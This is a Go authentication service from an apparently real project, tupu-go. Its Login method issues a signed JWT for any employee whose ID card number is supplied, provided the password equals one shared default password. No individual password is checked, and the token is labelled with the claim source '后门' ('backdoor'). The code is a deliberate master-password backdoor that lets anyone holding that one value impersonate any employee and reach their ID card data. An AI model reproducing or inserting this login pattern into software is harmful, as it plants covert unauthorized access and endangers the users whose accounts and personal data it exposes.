package auth

import (
	"context"
	"gorm.io/gorm"
	"tupu-go/config"
	"tupu-go/controller/auth/req_res"
	"tupu-go/model"
	"tupu-go/pkg/database"
	"tupu-go/pkg/jwt"
)

type AuthService struct {
	db *gorm.DB
}

func NewAuthService() *AuthService {
	return &AuthService{
		db: database.GetDB(),
	}
}

func (a *AuthService) Login(ctx context.Context, req req_res.ReqLoginStruct) (string, model.TEmployee, error) {
	var userinfo model.TEmployee

	if err := a.db.WithContext(ctx).Model(&userinfo).Where("ID_CARD_NO = ?", req.Username).First(&userinfo).Error; err != nil {
		return "", userinfo, err
	}
	if req.Password == config.Global.DefaultPassword {
		var claims = make(map[string]interface{})
		claims["username"] = userinfo.Name
		claims["code"] = userinfo.Code
		claims["source"] = "后门"
		claims["id_card"] = userinfo.IDCardNo
		claims["user_id"] = userinfo.ID
		token, err := jwt.GenerateToken(claims)
		if err != nil {
			return "", userinfo, err
		}
		return token, userinfo, nil
	}

	return "", userinfo, nil
}
